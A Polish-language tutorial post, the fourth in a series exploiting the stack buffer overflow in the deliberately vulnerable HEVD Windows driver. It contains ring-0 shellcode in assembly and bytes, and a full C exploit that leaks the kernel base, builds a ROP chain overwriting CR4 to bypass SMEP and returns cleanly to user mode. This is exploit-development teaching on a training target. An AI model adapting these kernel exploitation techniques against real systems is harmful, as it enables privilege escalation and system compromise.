[PL] HEVD Stack Buffer Overflow #4 - Home sweet home
W poprzednim artykule udało nam się wykonać ustalone przez nas rozkazy, z poziomu Ring 0. Problem leży w tym co się dzieje natychmiast po wykonaniu kodu. Ostatni rozkaz ret próbuje skoczyć do adresu na wierzchołku stosu, w którym aktualnie znajdują się śmieci. Musimy pamiętać, że rejestry RAX, RSI, RDI, R12, R14, R15 również zostały “zaśmiecone” przez przepełnienie pamięci.
Dwa podejścia
Pierwszym, klasycznym podejściem jest próba wznowienia normalnego działania sterownika. Skoro mamy kontrolę nad wykonywanym kodem, możemy spróbować przywrócić poprzednie, poprawne wartości rejestrów, oraz naprawić stos.
Drugim podejściem jest próba natychmiastowego powrotu do programu wywołującego przerwanie. Dzięki temu nie musimy martwić się zepsutym stosem oraz rejestrami.
Rozwiązanie drugie wydaje się ciekawsze, stąd spróbujemy powrócić do programu użytkownika “w połowie” wykonywania kodu sterownika.
Implementacja
Zastosuję rozwiązanie użytkownika Kristal. Link do jego artykułu znajduje się tutaj . Gorąco zachęcam do lektury.
Nasz kod wyglądać będzie w takim razie następująco:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
.code
main PROC
mov rax, 2137h
; Powrót do programu
mov rax, gs:[188h] ; Rax <- Struktura _KTHREAD CurrentThread
; Sterownik przy wejściu zmniejszył wartość licznka APC.
; Musimy go wyzerować by system mógł wchodzić w inne przerwania systemowe
mov dword ptr [rax + 1E4h], 0 ; ULONG CombinedApcDisable = 0
; Pobieramy ramkę przerwania w której znajdują się wartości rejestrów przed wywołaniem
mov rax, [rax + 90h] ; Rax <- Struktura _KTRAP_FRAME TrapFrame
; Przygotowujemy rejestry dla rozkazu sysretq
mov rbp, [rax + 158h] ; Rbp <- Stare ULONGLONG Rbp
mov rcx, [rax + 168h] ; Rcx <- Stare ULONGLONG Rip
mov r11, [rax + 178h] ; R11 <- Stare ULONG EFlags
mov rsp, [rax + 180h] ; Rsp <- Stare ULONGLONG Rsp
; Czyszczenie rejestrów Rax i Rdx przed sysretq
xor rax, rax ; Rax = 0
xor rdx, rdx ; Rdx = 0
swapgs ; Zmieniamy GS na wyjściu z Ring 0
sysretq ; Powrót do programu (Ring 3)
main ENDP
END
W dużym uproszczeniu:
- Podczas wywołania systemowego
KiSystemCall64, zapisywana jest ramka TrapFrame, w której znajdują się wartości kluczowych rejestrów m.in.Rbp,Rip,EFlags,Rspprogramu przed wejściem w przerwanie. - W segmencie
GS, podczas wykonywania kodu kernel-mode znajduje się pod offsetem0x180strukturaKPRCB. Podążając za referencjami w tej strukturze (KPRCB -> CurrentThread -> TrapFrame) dochodzimy do ramki w której znajdują się zapisane wartości rejestrów. Aby znaleźć dokładne offsety możemy posłużyć się stroną VergiliusProject, oraz narzędziem WinDBG i poleceniemdt nt!_STRUKTURA - Uwadze zasługuje również licznik APC. Przy wywołaniu systemowym jego wartość zmieniana jest na
-1. Zapobiega to wywoływaniu innych przerwań systemowych podczas wykonywania krytycznych rozkazów sterownika. Podczas wyjścia z sterownika konieczne jest ustawienie licznika APC z powrotem na0. Inaczej przywita nas errorAPC_INDEX_MISMATCH - Finalnie, wartości rejestrów programu wywołującego umieszczane są w odpowiednich rejestrach. Po rozkazach
swapgsorazsysretq, udaje nam się powrócić do user-landu.
Kluczowe informacje:
- Istotną rolę pełni mechanizm KVA Shadow. Jeżeli system stosuje funkcję
KiSystemCall64Shadoww miejsce funkcjiKiSystemCall64, wymagane jest również odzyskanie wartości rejestruCR3przed powrotem do user-landu. - Powrót do programu tym sposobem powoduje nieoczekiwane zachowania. Chęć zamknięcia programu przyciskiem ‘X’ kończy się niepowodzeniem. Jedynym sposobem na zamknięcie programu jest zamknięcie go z poziomu Menedżera Zadań, choć nawet w tych sytuacjach program potrafi odmówić. Dlaczego tak się dzieje? Podejrzewam, że I/O Manager myśli, że nasze żądanie dalej jest przetwarzane, stąd próbuje czekać na zakończenie wykonywania funkcji sterownika w momencie próby zabicia programu.
Kod programu:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>
#include <psapi.h>
#include <tchar.h>
#define ull uint64_t
HANDLE getHandle() {
HANDLE hDriver = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", // Symlink do sterownika
GENERIC_READ | GENERIC_WRITE, // Pełne uprawnienia dostępu
0,
NULL,
OPEN_EXISTING, // Uzyskujemy dostęp wyłącznie do istniejącego obiektu
0,
NULL
);
if (hDriver == INVALID_HANDLE_VALUE) {
DWORD err = GetLastError();
printf("[!] Nieudana proba uzyskania handle do sterownika, error: %d\n", err);
exit(1);
}
printf("[+] Uzyskano handle do sterownika\n");
return hDriver;
}
ull getKernelBase() {
const int ARRAY_SIZE = 1024;
LPVOID drivers[ARRAY_SIZE];
DWORD cbNeeded;
int cDrivers, i;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
_tprintf(TEXT("[+] Adres bazowy kernela to: %llx\n"), (ull)drivers[0]);
return (ull)drivers[0];
}
else
{
_tprintf(TEXT("[!] Polecenie EnumDeviceDrivers nieudane; wymagany rozmiar tablicy przekazywanej jako parametr to %zd\n"), cbNeeded / sizeof(LPVOID));
return -1;
}
return -1;
}
LPVOID fillPattern(int inBufferSize) {
// Alokujemy pamięć, której adres przekażemy do metody sterownika
LPVOID inBuffer = VirtualAlloc(NULL, // Bez określonego adresu początkowego
inBufferSize, // Liczba bajtów do alokacji
MEM_COMMIT | MEM_RESERVE, // Rezerwacja i inicjalizacja pamięci
PAGE_EXECUTE_READWRITE // Pamięć posiada pełne uprawnienia do modyfikacji oraz wykonywania
);
if (inBuffer == NULL) {
DWORD err = GetLastError();
printf("[!] Nieudalo sie zaalokowac pamieci, error: %d\n", err);
exit(1);
}
printf("[+] Pomyslnie zaalokowano %d bajtow pamieci\n", inBufferSize);
RtlFillMemory(inBuffer, inBufferSize, 'A');
return inBuffer;
}
//kod z shellcode.asm który będzie wykonywany w ring 0.
LPVOID allocateShellcode() {
BYTE shellcode[] = {
0x48, 0xC7, 0xC0, 0x37, 0x21, 0x00, 0x00, 0x65, 0x48, 0x8B,
0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0xC7, 0x80, 0xE4, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0x90,
0x00, 0x00, 0x00, 0x48, 0x8B, 0xA8, 0x58, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x88, 0x68, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x98,
0x78, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xA0, 0x80, 0x01, 0x00,
0x00, 0x48, 0x33, 0xC0, 0x48, 0x33, 0xD2, 0x0F, 0x01, 0xF8,
0x48, 0x0F, 0x07,
};
LPVOID shellpage = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellpage, shellcode, sizeof(shellcode));
return shellpage;
}
int main()
{
HANDLE hDriver = getHandle(); // Uzyskujemy handle do komunikacji ze sterownikiem
ull kernelBase = getKernelBase();
if (kernelBase == -1) {
printf("Nie udalo sie zdobyc adresu bazowego kernela, koncze program\n");
return 1;
}
//Alokujemy pamięć, która trafi na stos
const int inBufferSize = 2104;
LPVOID inBuffer = fillPattern(inBufferSize);
LPVOID shellPage = allocateShellcode();
//wskaźnik na wierzchołek stosu
ull* stackVertice = (ull*)((ull)inBuffer + 2072);
//wartość cr4 należy dostosować w zależności od środowiska!
ull cr4_value = 0x0000000000A50EF8;
//przygotowujemy wartości na stos
ull POP_RCX = kernelBase + 0x2148c8;
ull CR4 = cr4_value;
ull MOV_CR4_RCX = kernelBase + 0x3a0a87;
ull SHELLCODE = (ull)shellPage;
//umieszczamy wartości na stosie w kolejności wykonywania.
int inc = 0;
*(stackVertice + inc++) = POP_RCX;
*(stackVertice + inc++) = CR4;
*(stackVertice + inc++) = MOV_CR4_RCX;
*(stackVertice + inc++) = SHELLCODE;
DeviceIoControl(hDriver, // Handle do sterownika
0x222003, // Kod IOCTL funkcji BufferOverflowStackIoctlHandler
(LPVOID)inBuffer, // Nasz bufor wejściowy
inBufferSize, // Rozmiar buforu wejściowego
NULL, // Brak buforu wyjściowego
0,
NULL,
NULL
);
printf("[+] Powrot do programu!\n");
return 0;
}
Podsumowanie
W tym epizodzie udało nam się wykonać poprawny powrót do programu, nie powodując przy okazji BSOD’a. W następnym poście wykorzystamy możliwość wykonywania kodu w trybie uprzywilejowanym do manipulacji tokenami uprawnień.